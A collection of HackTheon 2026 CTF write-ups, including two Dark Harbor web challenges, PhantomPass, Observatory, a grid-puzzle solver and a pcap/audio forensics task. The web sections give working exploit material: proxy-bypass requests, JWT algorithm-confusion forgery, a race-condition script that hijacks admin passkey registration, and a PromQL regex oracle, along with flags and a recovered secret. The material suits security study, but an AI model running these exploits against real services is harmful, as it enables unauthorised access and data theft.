The challenge exposes a deployment hub behind an edge proxy. The winning chain was: bypass the hidden internal API route with an absolute-form request target, seed an attacker-controlled verifier through the JUnit report flow, abuse `fast-jwt` algorithm/key confusion to forge an admin policy token, then read the hidden `admin-console.json` file containing both the real flag and the `deployment_hmac_secret` required for Dark Harbor 2.
## Solution
### Step 1: Reach the hidden internal API route
The source strongly suggests hidden routes under `/internal/*`, but the live service rejected the obvious single-encoded path tricks. The reliable live primitive was sending a **raw absolute-form request target** instead of a normal origin-form path:
```http
POST http://api-server:3000/internal/policy-seed HTTP/1.1
Host: 15.164.173.78:8080
```
That request goes through the public edge, but the edge filter does not treat it like a normal `/internal/...` path, and the downstream API server accepts it as the hidden internal route.
### Step 2: Seed a verifier and forge the policy token
The JUnit upload endpoint stores the first testcase output in Redis. The hidden `internal/policy-seed` route copies that value into the policy verifier table as:
```python
pem = "\n" + first_testcase_output
```
So the exploit is:
1. Register a normal workspace.
2. Generate an RSA keypair.
3. Upload the **public key PEM** as the first testcase output.
4. Call the hidden seed route with an attacker-controlled `kid`.
At first glance this looks like an RS256 solve, but the live verifier actually rejects RS256 for the seeded key. The reason is the leading newline: `fast-jwt` treats the stored value as **HS256 secret key material** instead of a proper RSA public key. So the real token is:
- `alg = HS256`
- `kid = attacker-seeded kid`
- HMAC secret = `"\n" + uploaded_public_key_pem`
- payload contains `"role": "admin"`
Once this token passes `/api/policy/verify`, it can be used for the hidden admin console read.
### Step 3: Read the hidden admin console
The same absolute-form trick works for the final file read:
```http
GET http://api-server:3000/internal/admin-console.json HTTP/1.1
Host: 15.164.173.78:8080
X-Policy-Token: <forged-admin-token>
```
The response contains both the real flag and the secret needed for Dark Harbor 2:
```json
{
"flag": "hacktheon2026{sil3nt_tid3_bre4ch}",
"deployment_hmac_secret": "a]Kx9#mP$vQ2nR7wF4jL8cB5hT0yU3eA"
}
```
## Exploit Script
`exploit.py` in this directory automates the full solve and prints both values.
```bash
pip install cryptography
python3 exploit.py http://15.164.173.78:8080
```
Expected output:
```text
FLAG=hacktheon2026{sil3nt_tid3_bre4ch}
DEPLOYMENT_HMAC_SECRET=a]Kx9#mP$vQ2nR7wF4jL8cB5hT0yU3eA
```
## Why the provided snippet works
The short snippet you pasted is only the **last stage** of the exploit. It already assumes you have:
- a valid `kid` created by the hidden seed route,
- a workspace `local_token`,
- and the exact public key PEM that was uploaded into the report.
It works because the seeded verifier is not actually used as an RSA key on the live target. Instead, the verifier accepts an **HS256** JWT signed with:
```python
secret = "\n" + uploaded_public_key_pem
```
Then it reads the hidden admin console through a raw absolute-form request target:
```python
http_raw('GET', 'http://api-server:3000/internal/admin-console.json', ...)
```
So your snippet is valid, but it starts after the important setup phase.
## Flag
```text
hacktheon2026{sil3nt_tid3_bre4ch}
```
## Dark Harbor 2 prerequisite
Use this value for `POST /api/phase1-handoff` in Dark Harbor 2:
```text
a]Kx9#mP$vQ2nR7wF4jL8cB5hT0yU3eA
```
```
---
title: "Dark Harbor 2"
ctf: "HackTheon 2026"
date: 2026-04-25
category: web
difficulty: hard
points: 939
flag_format: "hacktheon2026{...}"
author: "hibwyli"
---
# Dark Harbor 2
## Summary
Dark Harbor 2 is the second stage of the Deployment Hub chain. The required input is the `deployment_hmac_secret` recovered from Dark Harbor 1. The exploit then uses a same-connection request-reuse bug on the public `/health/policy-engine` route to reach a hidden policy override endpoint, recover deploy tokens, and decrypt the final flag.
## Solution
### Step 1: Enter phase 2 with the DH1 secret
The first challenge gives:
```text
a]Kx9#mP$vQ2nR7wF4jL8cB5hT0yU3eA
```
That value is required for:
```http
POST /api/phase1-handoff
{"hmac_secret":"..."}
```
On the live hosts, this returns a REVIEW-state `workspace_id` and a local `admin_jwt` used for the public deploy endpoints.
### Step 2: Reach the hidden policy override
The hidden writer for the encrypted flag is:
```http
POST /internal/admin/policy-override
```
It is blocked directly at the edge. The working primitive was to open a single TCP connection and pipeline:
1. `GET /health/policy-engine`
2. `POST /internal/admin/policy-override`
The second request must include:
- `Authorization: Bearer <HS256 pipeline_admin token>`
- `X-Internal-HMAC: SHA256:<ts>:<sig>`
- `X-Pipeline-State: REVIEW`
Both the JWT and the HMAC are signed with the DH1 secret.
### Step 3: Recover the deploy inputs and decrypt the flag
The override result stores:
```json
{
"deploy_token": "...",
"encrypted_secret": "...",
"nonce": "..."
}
```
Then:
1. Call `GET /api/deploy/:workspaceId/override-result` with the `admin_jwt` from phase1-handoff.
2. Use `POST /api/deploy/:workspaceId/use-token` with `action=sign` to recover the `signing_key` for that deploy token.
3. Trigger override again and use a second deploy token with `action=seal` to recover `session_seal`.
4. Derive the AES key with `HMAC-SHA256(signing_key, session_seal)`.
5. Decrypt `encrypted_secret` with AES-256-GCM.
That yields the final flag.
## Exploit Script
Run:
```bash
pip install cryptography
python3 solve.py http://3.38.160.83:8080
```
The script prints the flag directly.
## Flag
```text
hacktheon2026{lighth0use_se4l_cr4ck}
```
### PhantomPass
```
src/app/app.py:87-115 lets you start registration for any username that either does not exist yet or exists with zero credentials, and it sets session["uid"] = uid before WebAuthn registration is completed.
src/app/app.py:118-138 never re-checks username ownership in register/complete, so if you win register/begin for admin, you can still attach your own admin credential afterward.
src/app/app.py:184-195 exposes the current session’s vault_token via /api/me.
src/app/app.py:296-344 only requires two things to open the vault: an admin credential and the matching admin vault_token.
src/bot/bot.py:105-123 auto-registers/logs in as admin at startup, which creates the race window every reset.
So the exploit is:
Race POST /api/register/begin {"username":"admin"} right at the hourly reset.
If you get 200, that session is already bound to admin.
Complete WebAuthn registration with your passkey, so you become an admin with your own credential.
GET /api/me to read admin’s vault_token.
POST /vault/begin, sign with your new admin credential, then POST /vault and get the flag.
#!/usr/bin/env python3
"""
PhantomPass solver
Exploit summary:
- Race /api/register/begin for username "admin" during the hourly reset window.
- The server binds the session to the chosen uid before WebAuthn completes.
- Once one worker gets HTTP 200 for admin registration begin, it can finish its own
admin passkey registration, read /api/me to get admin's vault_token, then sign
/vault with the newly-added admin credential and print the flag.
Default behavior:
- Wait until a few seconds before the next top-of-hour reset.
- Hammer all provided hosts concurrently during a short window.
- Repeat each hour until one host yields a flag.
Dependencies:
pip install requests soft-webauthn
"""
from __future__ import annotations
import argparse
import base64
import datetime as dt
import json
import queue
import threading
import time
from dataclasses import dataclass
from typing import Any
import requests
import urllib3
from soft_webauthn import SoftWebauthnDevice
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
DEFAULT_HOSTS = [
"https://43-202-165-147.sslip.io",
"https://16-184-15-119.sslip.io",
"https://16-184-9-39.sslip.io",
"https://54-116-33-123.sslip.io",
]
@dataclass
class SolveResult:
host: str
flag: str
attempts: int
elapsed: float
class StopNow(Exception):
pass
def b64u_dec(s: str) -> bytes:
return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))
def b64u_enc(b: bytes) -> str:
return base64.urlsafe_b64encode(b).decode().rstrip("=")
def reg_payload(cred: dict[str, Any]) -> dict[str, Any]:
cid = b64u_enc(cred["rawId"])
return {
"id": cid,
"rawId": cid,
"type": cred["type"],
"response": {
"clientDataJSON": b64u_enc(cred["response"]["clientDataJSON"]),
"attestationObject": b64u_enc(cred["response"]["attestationObject"]),
},
}
def auth_payload(cred: dict[str, Any]) -> dict[str, Any]:
cid = b64u_enc(cred["rawId"])
return {
"id": cid,
"rawId": cid,
"type": cred["type"],
"response": {
"authenticatorData": b64u_enc(cred["response"]["authenticatorData"]),
"clientDataJSON": b64u_enc(cred["response"]["clientDataJSON"]),
"signature": b64u_enc(cred["response"]["signature"]),
"userHandle": (
b64u_enc(cred["response"]["userHandle"])
if cred["response"].get("userHandle")
else None
),
},
}
def begin_registration(session: requests.Session, host: str) -> tuple[int, dict[str, Any] | None]:
r = session.post(
f"{host}/api/register/begin",
json={"username": "admin"},
timeout=1.5,
verify=False,
)
if r.status_code != 200:
return r.status_code, None
return 200, r.json()
def exploit_host(host: str, stop: threading.Event, result_q: queue.Queue[SolveResult], timeout_s: float) -> None:
started = time.time()
attempts = 0
session = requests.Session()
while not stop.is_set() and time.time() - started < timeout_s:
attempts += 1
try:
code, opts = begin_registration(session, host)
if code != 200:
# 409 is the normal pre-reset state; connection errors / 5xx happen during restart.
continue
# We won a registration window for username "admin" in THIS session.
assert opts is not None
dev = SoftWebauthnDevice()
opts["challenge"] = b64u_dec(opts["challenge"])
opts["user"]["id"] = b64u_dec(opts["user"]["id"])
att = dev.create({"publicKey": opts}, host)
r = session.post(
f"{host}/api/register/complete",
json=reg_payload(att),
timeout=3,
verify=False,
)
if not r.ok:
# Extremely unlikely once begin returned 200, but just keep racing if it happens.
continue
me = session.get(f"{host}/api/me", timeout=3, verify=False).json()
vault_token = me["vault_token"]
opts2 = session.post(f"{host}/vault/begin", timeout=3, verify=False).json()
opts2["challenge"] = b64u_dec(opts2["challenge"])
for c in opts2.get("allowCredentials", []):
c["id"] = b64u_dec(c["id"])
assertion = dev.get({"publicKey": opts2}, host)
r = session.post(
f"{host}/vault",
json={
"vault_token": vault_token,
"credential": auth_payload(assertion),
},
timeout=3,
verify=False,
)
data = r.json()
if "flag" in data:
stop.set()
result_q.put(
SolveResult(
host=host,
flag=data["flag"],
attempts=attempts,
elapsed=time.time() - started,
)
)
return
except Exception:
# Network blips during reset are expected.
continue
def next_top_of_hour(now: dt.datetime | None = None) -> dt.datetime:
now = now or dt.datetime.now()
return (now.replace(minute=0, second=0, microsecond=0) + dt.timedelta(hours=1))
def sleep_until(ts: dt.datetime) -> None:
while True:
delta = (ts - dt.datetime.now()).total_seconds()
if delta <= 0:
return
time.sleep(min(delta, 0.25))
def run_round(hosts: list[str], workers_per_host: int, window_s: float) -> SolveResult | None:
stop = threading.Event()
result_q: queue.Queue[SolveResult] = queue.Queue()
threads: list[threading.Thread] = []
for host in hosts:
for _ in range(workers_per_host):
t = threading.Thread(
target=exploit_host,
args=(host, stop, result_q, window_s),
daemon=True,
)
t.start()
threads.append(t)
deadline = time.time() + window_s
while time.time() < deadline and not stop.is_set():
try:
return result_q.get(timeout=0.1)
except queue.Empty:
pass
stop.set()
for t in threads:
t.join(timeout=0.1)
try:
return result_q.get_nowait()
except queue.Empty:
return None
def main() -> None:
ap = argparse.ArgumentParser(description="Exploit PhantomPass by racing admin registration at reset time.")
ap.add_argument("--host", action="append", dest="hosts", help="Target host (repeatable). Defaults to all 4 challenge hosts.")
ap.add_argument("--workers-per-host", type=int, default=8, help="Concurrent race workers per host. Default: 8")
ap.add_argument("--lead", type=float, default=7.0, help="Start racing this many seconds before the top of the hour. Default: 7")
ap.add_argument("--window", type=float, default=18.0, help="How long to keep racing each round. Default: 18")
ap.add_argument("--immediate", action="store_true", help="Start a race round immediately instead of aligning to the next top of hour.")
args = ap.parse_args()
hosts = args.hosts or DEFAULT_HOSTS
print("[+] targets:")
for h in hosts:
print(f" - {h}")
print(f"[+] workers per host: {args.workers_per_host}")
round_no = 0
while True:
round_no += 1
if not args.immediate:
fire_at = next_top_of_hour() - dt.timedelta(seconds=args.lead)
print(f"[+] round {round_no}: arming for {fire_at.isoformat(timespec='seconds')}")
sleep_until(fire_at)
else:
print(f"[+] round {round_no}: starting immediately")
print(f"[+] round {round_no}: racing for {args.window:.1f}s")
res = run_round(hosts, args.workers_per_host, args.window)
if res:
print(f"[+] won on {res.host} after {res.attempts} attempts in {res.elapsed:.2f}s")
print(res.flag)
return
print("[-] no win this round")
if args.immediate:
# In immediate mode, keep going but do not busy-loop.
time.sleep(1.0)
if __name__ == "__main__":
main()
```
### Observatory
```
import requests, string, time
base='http://43.201.43.169:3000'
s=requests.Session()
s.post(base+'/login', data={'username':'aaaaaaa','password':'pass123'}, allow_redirects=False, timeout=5)
def esc(ch):
if ch.isalnum() or ch in '_':
return ch
if ch == '{':
return '[{]'
if ch == '}':
return '[}]'
if ch == '-':
return '[-]'
if ch == '.':
return '[.]'
if ch == ':':
return '[:]'
if ch == '/':
return '[/]'
if ch == ' ':
return '[ ]'
return '[' + ch + ']'
def oracle(prefix):
rx = '^' + ''.join(esc(c) for c in prefix) + '.*'
agg = f'secret_config{{flag=~"{rx}"}} + on() up or count'
r = s.post(base+'/api/query', json={'metric':'up','agg':agg}, timeout=15)
txt = r.text
return 'Query failed' in txt, txt
prefix = 'hacktheon2026{pr0m3th3us_m3tr1cx'
print('base oracle', prefix, oracle(prefix)[0])
charset = string.ascii_lowercase + string.digits + '_-}'
for i in range(40):
found = []
for ch in charset:
ok, txt = oracle(prefix + ch)
print('try', prefix + ch, ok)
if ok:
found.append(ch)
print('position', i, 'found', found)
if len(found) == 1:
prefix += found[0]
print('PREFIX NOW', prefix)
if found[0] == '}':
break
else:
print('AMBIGUOUS OR NONE at prefix', prefix)
break
print('FINAL', prefix)
```
```
````
## MISC
### CathedralOfTheLastCandle
#### Summary
You are placed inside a **5×8 grid cathedral** containing **40 candles**, each with one of three states:
* `.` → extinguished (0)
* `*` → lit (1)
* `~` → overlit (2)
Your goal:
1. **Extinguish all candles (state = 0)**
2. **Reach the altar (fixed position at (4,7))**
3. **Execute `pray`**
4. Stay within a strict **budget of 300 actions**
#### Game Mechanics
##### Movement
* `go n/s/e/w` → move in cardinal directions
##### Candle Operations
Two key operations affect states modulo 3:
* `ring`:
* Applies transformation:
```
(a, b) → ((a + b) mod 3, (a + 2b) mod 3)
```
* `hush`:
* Applies transformation:
```
(a, b) → ((2a + 2b) mod 3, (2a + b) mod 3)
```
Where:
* `a` = current tile state
* `b` = parent tile state
These operations propagate along a **hidden tree structure** of the grid.
#### Key Insight
The grid is not independent — it forms a **tree rooted at (4,7)**.
Each cell has:
* A **parent direction**
* A set of **children**
Operations (`ring`, `hush`) affect nodes based on this tree relationship.
#### Solver Strategy
The solver in follows a **three-phase approach**:
#### 1. Discovery Phase
* Traverse grid in a **snake pattern**
* For each cell:
* Use `ring` / `hush` probes
* Detect which neighbor changes
* Infer **parent direction**
This reconstructs the hidden **tree structure**.
#### 2. Modeling as Modular System
Each candle state is in:
```
Z₃ = {0,1,2}
```
Operations are linear transforms in mod 3 arithmetic.
The solver:
* Treats each subtree as a **state machine (transducer)**
* Computes:
* `a_cost`: cost to clear subtree
* `b_cost`: cost when revisiting subtree
This is done via **Dijkstra on state space**:
```
(state_mask, current_value, incoming_value)
```
#### 3. Dynamic Programming on Tree
* Process nodes in **postorder**
* Compute minimal cost transitions:
* Clear all children
* Reduce node to 0
Then solve root independently:
* Combine all subtree transitions
* Ensure root becomes 0
#### 4. Command Reconstruction
The solver:
* Backtracks through DP decisions
* Emits actual commands:
* Movement (`go`)
* Operations (`ring`, `hush`)
Traversal pattern:
* Enter subtree
* Solve locally
* Return to parent
#### 5. Final Execution
* Execute all generated commands
* Finish with:
```
pray
```
#### Constraints Handling
* Total budget: **300**
* Solver ensures:
```
discovery_cost + solve_cost + 1 (pray) ≤ 300
```
#### Complexity
* Grid size: fixed (40 cells)
* State space per node: small (mod 3 + bitmask)
* Efficient due to:
* Tree structure
* Memoized DP
* Dijkstra pruning
#### Key Takeaways
* Problem reduces to:
> **Tree + modular algebra + shortest path planning**
* Critical ideas:
* Reverse-engineering hidden structure
* Modeling operations as algebraic transforms
* Dynamic programming over tree states
#### Final Result
Once all candles are extinguished and the player reaches the altar:
```
pray
```
#### PoC
```py
from __future__ import annotations
import heapq
import re
import socket
import sys
from dataclasses import dataclass
from typing import Dict, List, Optional, Tuple
ROWS = 5
COLS = 8
ROOT = (4, 7)
INF = 10**9
STATE_FROM_CHAR = {".": 0, "*": 1, "~": 2}
CHAR_FROM_STATE = ".*~"
DIRS = {
"n": (-1, 0),
"s": (1, 0),
"w": (0, -1),
"e": (0, 1),
}
DIR_FROM_DELTA = {v: k for k, v in DIRS.items()}
OPPOSITE = {"n": "s", "s": "n", "e": "w", "w": "e"}
def idx_of(r: int, c: int) -> int:
return r * COLS + c
def rc_of(idx: int) -> Tuple[int, int]:
return divmod(idx, COLS)
def in_bounds(r: int, c: int) -> bool:
return 0 <= r < ROWS and 0 <= c < COLS
def ring_pair(a: int, b: int) -> Tuple[int, int]:
return ((a + b) % 3, (a + 2 * b) % 3)
def hush_pair(a: int, b: int) -> Tuple[int, int]:
return ((2 * a + 2 * b) % 3, (2 * a + b) % 3)
@dataclass
class Screen:
raw: str
pos: Tuple[int, int]
budget: int
visible: Dict[Tuple[int, int], int]
class CathedralClient:
def __init__(self, host: str, port: int):
self.host = host
self.port = port
self.sock = socket.create_connection((host, port))
self.sock.settimeout(5.0)
self.buf = b""
self.screen = self._read_screen()
def close(self) -> None:
try:
self.sock.close()
except OSError:
pass
def _recv_some(self) -> bytes:
chunk = self.sock.recv(65536)
if not chunk:
raise EOFError("connection closed")
return chunk
def _read_until_prompt(self) -> str:
while b"> " not in self.buf:
self.buf += self._recv_some()
raw, self.buf = self.buf.split(b"> ", 1)
return raw.decode("utf-8", errors="replace")
def _read_screen(self) -> Screen:
raw = self._read_until_prompt()
return parse_screen(raw)
def command(self, cmd: str) -> Screen:
self.sock.sendall(cmd.encode() + b"\n")
self.screen = self._read_screen()
return self.screen
def command_final(self, cmd: str) -> str:
self.sock.sendall(cmd.encode() + b"\n")
parts = [self.buf]
self.buf = b""
try:
while True:
parts.append(self._recv_some())
except Exception:
pass
return b"".join(parts).decode("utf-8", errors="replace")
def parse_screen(raw: str) -> Screen:
text = raw.replace("\x1b[2J", "").replace("\x1b[H", "")
m = re.search(r"Pos:\((\d+),(\d+)\)\s+Budget:(\d+)", text)
if not m:
raise ValueError(f"could not parse position/budget from screen:\n{text}")
pos = (int(m.group(1)), int(m.group(2)))
budget = int(m.group(3))
visible: Dict[Tuple[int, int], int] = {}
row_idx = 0
for line in text.splitlines():
if row_idx >= ROWS:
break
tokens = re.findall(r"\[[.~*]\]|[.~*?]", line)
if len(tokens) != COLS:
continue
for col_idx, tok in enumerate(tokens):
if tok == "?":
continue
ch = tok[1] if tok.startswith("[") else tok
visible[(row_idx, col_idx)] = STATE_FROM_CHAR[ch]
row_idx += 1
if row_idx != ROWS:
raise ValueError(f"could not parse board rows from screen:\n{text}")
return Screen(raw=text, pos=pos, budget=budget, visible=visible)
def snake_cells() -> List[Tuple[int, int]]:
cells: List[Tuple[int, int]] = []
for r in range(ROWS):
cols = range(COLS) if r % 2 == 0 else range(COLS - 1, -1, -1)
for c in cols:
cells.append((r, c))
return cells
def move_sequence(src: Tuple[int, int], dst: Tuple[int, int]) -> List[str]:
sr, sc = src
dr, dc = dst
cmds: List[str] = []
while sr < dr:
cmds.append("go s")
sr += 1
while sr > dr:
cmds.append("go n")
sr -= 1
while sc < dc:
cmds.append("go e")
sc += 1
while sc > dc:
cmds.append("go w")
sc -= 1
return cmds
class Solver:
def __init__(self, client: CathedralClient):
self.client = client
self.initial_states = [-1] * (ROWS * COLS)
self.parent_dir: List[Optional[str]] = [None] * (ROWS * COLS)
self.children: List[List[int]] = [[] for _ in range(ROWS * COLS)]
self.subtree_cleared: List[bool] = [False] * (ROWS * COLS)
self.a_cost: List[List[List[int]]] = [[[INF] * 3 for _ in range(3)] for _ in range(ROWS * COLS)]
self.b_cost: List[List[List[int]]] = [[[INF] * 3 for _ in range(3)] for _ in range(ROWS * COLS)]
self.a_prev: Dict[int, Dict[int, Dict[Tuple[int, int, int], Tuple[Tuple[int, int, int], Tuple[str, int, int]]]]] = {}
self.b_prev: Dict[int, Dict[int, Dict[Tuple[int, int, int], Tuple[Tuple[int, int, int], Tuple[str, int, int]]]]] = {}
self.root_prev: Dict[Tuple[int, int], Tuple[Tuple[int, int], Tuple[str, int, int]]] = {}
def update_visible(self, screen: Screen) -> None:
for (r, c), val in screen.visible.items():
self.initial_states[idx_of(r, c)] = val
def discover(self) -> None:
screen = self.client.screen
self.update_visible(screen)
cells = snake_cells()
assert cells[0] == (0, 0)
for cell in cells:
if screen.pos != cell:
for cmd in move_sequence(screen.pos, cell):
screen = self.client.command(cmd)
self.update_visible(screen)
self.update_visible(screen)
if cell != ROOT:
pdir = self.probe_parent(screen)
self.parent_dir[idx_of(*cell)] = pdir
screen = self.client.screen
missing_states = [i for i, v in enumerate(self.initial_states) if v < 0]
if missing_states:
raise RuntimeError(f"missing states for cells: {missing_states}")
missing_dirs = [i for i, d in enumerate(self.parent_dir) if rc_of(i) != ROOT and d is None]
if missing_dirs:
raise RuntimeError(f"missing parent directions for cells: {missing_dirs}")
for idx, pdir in enumerate(self.parent_dir):
if rc_of(idx) == ROOT:
continue
r, c = rc_of(idx)
dr, dc = DIRS[pdir]
pr, pc = r + dr, c + dc
parent = idx_of(pr, pc)
self.children[parent].append(idx)
for lst in self.children:
lst.sort()
self.compute_subtree_cleared(idx_of(*ROOT))
def probe_parent(self, baseline: Screen) -> str:
base = baseline.visible
ring_screen = self.client.command("ring")
ring_dir = self.changed_neighbor_direction(base, ring_screen.visible, baseline.pos)
restore = self.client.command("hush")
self.update_visible(restore)
if ring_dir is not None:
return ring_dir
hush_screen = self.client.command("hush")
hush_dir = self.changed_neighbor_direction(base, hush_screen.visible, baseline.pos)
restore = self.client.command("ring")
self.update_visible(restore)
if hush_dir is not None:
return hush_dir
raise RuntimeError(f"failed to identify parent at {baseline.pos}")
@staticmethod
def changed_neighbor_direction(
before: Dict[Tuple[int, int], int],
after: Dict[Tuple[int, int], int],
pos: Tuple[int, int],
) -> Optional[str]:
r, c = pos
changed: List[str] = []
for d, (dr, dc) in DIRS.items():
nr, nc = r + dr, c + dc
if not in_bounds(nr, nc):
continue
if (nr, nc) not in before or (nr, nc) not in after:
continue
if before[(nr, nc)] != after[(nr, nc)]:
changed.append(d)
if len(changed) == 1:
return changed[0]
return None
def compute_transducers(self) -> None:
postorder = self.postorder(idx_of(*ROOT))
for v in postorder:
if rc_of(v) == ROOT:
continue
self.compute_node_transducers(v)
def compute_subtree_cleared(self, v: int) -> bool:
ok = self.initial_states[v] == 0
for ch in self.children[v]:
child_ok = self.compute_subtree_cleared(ch)
ok = ok and child_ok
self.subtree_cleared[v] = ok
return ok
def postorder(self, root: int) -> List[int]:
out: List[int] = []
def dfs(v: int) -> None:
for ch in self.children[v]:
dfs(ch)
out.append(v)
dfs(root)
return out
def compute_node_transducers(self, v: int) -> None:
start_a = self.initial_states[v]
kids = self.children[v]
full_mask = (1 << len(kids)) - 1
start_mask_a = 0
for bit, ch in enumerate(kids):
if self.subtree_cleared[ch]:
start_mask_a |= 1 << bit
self.a_prev[v] = {}
self.b_prev[v] = {}
for mode in ("A", "B"):
for in_b in range(3):
start = (start_mask_a, start_a, in_b) if mode == "A" else (full_mask, 0, in_b)
dist: Dict[Tuple[int, int, int], int] = {start: 0}
prev: Dict[Tuple[int, int, int], Tuple[Tuple[int, int, int], Tuple[str, int, int]]] = {}
pq: List[Tuple[int, Tuple[int, int, int]]] = [(0, start)]
while pq:
cur_cost, state = heapq.heappop(pq)
if cur_cost != dist[state]:
continue
mask, a, b = state
for op_name, (na, nb) in (
("ring", ring_pair(a, b)),
("hush", hush_pair(a, b)),
):
nxt = (mask, na, nb)
new_cost = cur_cost + 1
if new_cost < dist.get(nxt, INF):
dist[nxt] = new_cost
prev[nxt] = (state, ("self", -1, 1 if op_name == "ring" else -1))
heapq.heappush(pq, (new_cost, nxt))
for bit, ch in enumerate(kids):
if mask & (1 << bit):
table = self.b_cost[ch]
action_kind = "childB"
next_mask = mask
else:
table = self.a_cost[ch]
action_kind = "childA"
next_mask = mask | (1 << bit)
for out_a in range(3):
step = table[a][out_a]
if step >= INF:
continue
nxt = (next_mask, out_a, b)
new_cost = cur_cost + step
if new_cost < dist.get(nxt, INF):
dist[nxt] = new_cost
prev[nxt] = (state, (action_kind, ch, out_a))
heapq.heappush(pq, (new_cost, nxt))
target_table = self.a_cost if mode == "A" else self.b_cost
target_prev = self.a_prev if mode == "A" else self.b_prev
target_prev[v][in_b] = prev
for out_b in range(3):
goal = (full_mask, 0, out_b)
if goal in dist:
target_table[v][in_b][out_b] = dist[goal] + 2
if self.subtree_cleared[v]:
for in_b in range(3):
self.a_cost[v][in_b][in_b] = 0
def compute_root_plan(self) -> Tuple[int, Dict[Tuple[int, int], int], Dict[Tuple[int, int], Tuple[Tuple[int, int], Tuple[str, int, int]]]]:
root = idx_of(*ROOT)
kids = self.children[root]
full_mask = (1 << len(kids)) - 1
start_mask = 0
for bit, ch in enumerate(kids):
if self.subtree_cleared[ch]:
start_mask |= 1 << bit
start = (start_mask, self.initial_states[root])
dist: Dict[Tuple[int, int], int] = {start: 0}
prev: Dict[Tuple[int, int], Tuple[Tuple[int, int], Tuple[str, int, int]]] = {}
pq: List[Tuple[int, Tuple[int, int]]] = [(0, start)]
while pq:
cur_cost, state = heapq.heappop(pq)
if cur_cost != dist[state]:
continue
mask, a = state
for delta, op_name in ((1, "ring"), (-1, "hush")):
na = (a + delta) % 3
nxt = (mask, na)
new_cost = cur_cost + 1
if new_cost < dist.get(nxt, INF):
dist[nxt] = new_cost
prev[nxt] = (state, ("self", -1, 1 if op_name == "ring" else -1))
heapq.heappush(pq, (new_cost, nxt))
for bit, ch in enumerate(kids):
if mask & (1 << bit):
table = self.b_cost[ch]
action_kind = "childB"
next_mask = mask
else:
table = self.a_cost[ch]
action_kind = "childA"
next_mask = mask | (1 << bit)
for out_a in range(3):
step = table[a][out_a]
if step >= INF:
continue
nxt = (next_mask, out_a)
new_cost = cur_cost + step
if new_cost < dist.get(nxt, INF):
dist[nxt] = new_cost
prev[nxt] = (state, (action_kind, ch, out_a))
heapq.heappush(pq, (new_cost, nxt))
goal = (full_mask, 0)
if goal not in dist:
raise RuntimeError("root plan is unreachable")
return dist[goal], dist, prev
def emit_node(self, v: int, mode: str, in_b: int, out_b: int, out_cmds: List[str]) -> None:
if mode == "A" and self.subtree_cleared[v] and in_b == out_b and self.a_cost[v][in_b][out_b] == 0:
return
r, c = rc_of(v)
pdir = self.parent_dir[v]
assert pdir is not None
out_cmds.append(f"go {OPPOSITE[pdir]}")
self.emit_node_local(v, mode, in_b, out_b, out_cmds)
out_cmds.append(f"go {pdir}")
def emit_node_local(self, v: int, mode: str, in_b: int, out_b: int, out_cmds: List[str]) -> None:
kids = self.children[v]
full_mask = (1 << len(kids)) - 1
start_mask_a = 0
for bit, ch in enumerate(kids):
if self.subtree_cleared[ch]:
start_mask_a |= 1 << bit
start = (start_mask_a, self.initial_states[v], in_b) if mode == "A" else (full_mask, 0, in_b)
goal = (full_mask, 0, out_b)
prev = (self.a_prev if mode == "A" else self.b_prev)[v][in_b]
path: List[Tuple[Tuple[int, int, int], Tuple[str, int, int], Tuple[int, int, int]]] = []
cur = goal
while cur != start:
if cur not in prev:
raise RuntimeError(f"missing reconstruction for node {v} mode {mode} {in_b}->{out_b}")
prv, act = prev[cur]
path.append((prv, act, cur))
cur = prv
path.reverse()
for before, act, after in path:
kind, ch, param = act
if kind == "self":
out_cmds.append("ring" if param == 1 else "hush")
elif kind == "childA":
self.emit_node(ch, "A", before[1], after[1], out_cmds)
elif kind == "childB":
self.emit_node(ch, "B", before[1], after[1], out_cmds)
else:
raise AssertionError(kind)
def emit_root(self, prev: Dict[Tuple[int, int], Tuple[Tuple[int, int], Tuple[str, int, int]]]) -> List[str]:
root = idx_of(*ROOT)
kids = self.children[root]
full_mask = (1 << len(kids)) - 1
start_mask = 0
for bit, ch in enumerate(kids):
if self.subtree_cleared[ch]:
start_mask |= 1 << bit
start = (start_mask, self.initial_states[root])
goal = (full_mask, 0)
path: List[Tuple[Tuple[int, int], Tuple[str, int, int], Tuple[int, int]]] = []
cur = goal
while cur != start:
prv, act = prev[cur]
path.append((prv, act, cur))
cur = prv
path.reverse()
out_cmds: List[str] = []
for before, act, after in path:
kind, ch, param = act
if kind == "self":
out_cmds.append("ring" if param == 1 else "hush")
elif kind == "childA":
self.emit_node(ch, "A", before[1], after[1], out_cmds)
elif kind == "childB":
self.emit_node(ch, "B", before[1], after[1], out_cmds)
else:
raise AssertionError(kind)
return out_cmds
def solve(self) -> str:
self.discover()
spent_discovery = 300 - self.client.screen.budget
self.compute_transducers()
solve_cost, _, root_prev = self.compute_root_plan()
cmds = self.emit_root(root_prev)
total_planned = spent_discovery + solve_cost + 1
print(f"[+] discovery_cost={spent_discovery} solve_cost={solve_cost} total_with_pray={total_planned}", file=sys.stderr)
print(f"[+] current_budget={self.client.screen.budget}", file=sys.stderr)
if total_planned > 300:
raise RuntimeError(f"planned total exceeds budget: {total_planned}")
for cmd in cmds:
self.client.command(cmd)
final = self.client.command_final("pray")
return final
def main() -> None:
host = "3.35.223.94"
port = 9000
client = CathedralClient(host, port)
try:
solver = Solver(client)
result = solver.solve()
print(result)
finally:
client.close()
if __name__ == "__main__":
main()
```
### Plottergeist
#### Summary
The challenge provides two artifacts:
- `plottergeist.pcap`
- `bench_mic.wav`
The `pcap` contains only motion commands, so it does not directly reveal which moves actually drew ink. The key idea is to:
1. Decode the custom motion protocol from the packet capture.
2. Reconstruct the CoreXY pen path.
3. Observe that the motion forms a 7-row raster compatible with a 5x7 text render.
4. Use the microphone side channel to distinguish drawing from travel behavior.
5. Recover the rendered text and validate it against the geometry reconstructed from the motion stream.
Recovered flag:
`hacktheon2026{the_plotter_reveals_its_secret_through_sound}`
#### Files and Formats
- `plottergeist.pcap` is a little-endian Ethernet `pcap` containing UDP packets.
- `bench_mic.wav` is mono 16-bit PCM at 8000 Hz.
#### Motion Protocol
The interesting packets are fixed-size UDP payloads with this structure:
```text
A1 | seq(2) | dt(2) | am(2) | bm(2) | 7E
```
Fields:
- `seq`: sequence number
- `dt`: motion timing / duration-like field
- `am`, `bm`: signed motor deltas for the two CoreXY motors
There are `940` motion packets in total.
#### CoreXY Decoding
For the custom CoreXY mechanism, the correct transform is:
```text
dx = (am + bm) / 2
dy = (am - bm) / 2
```
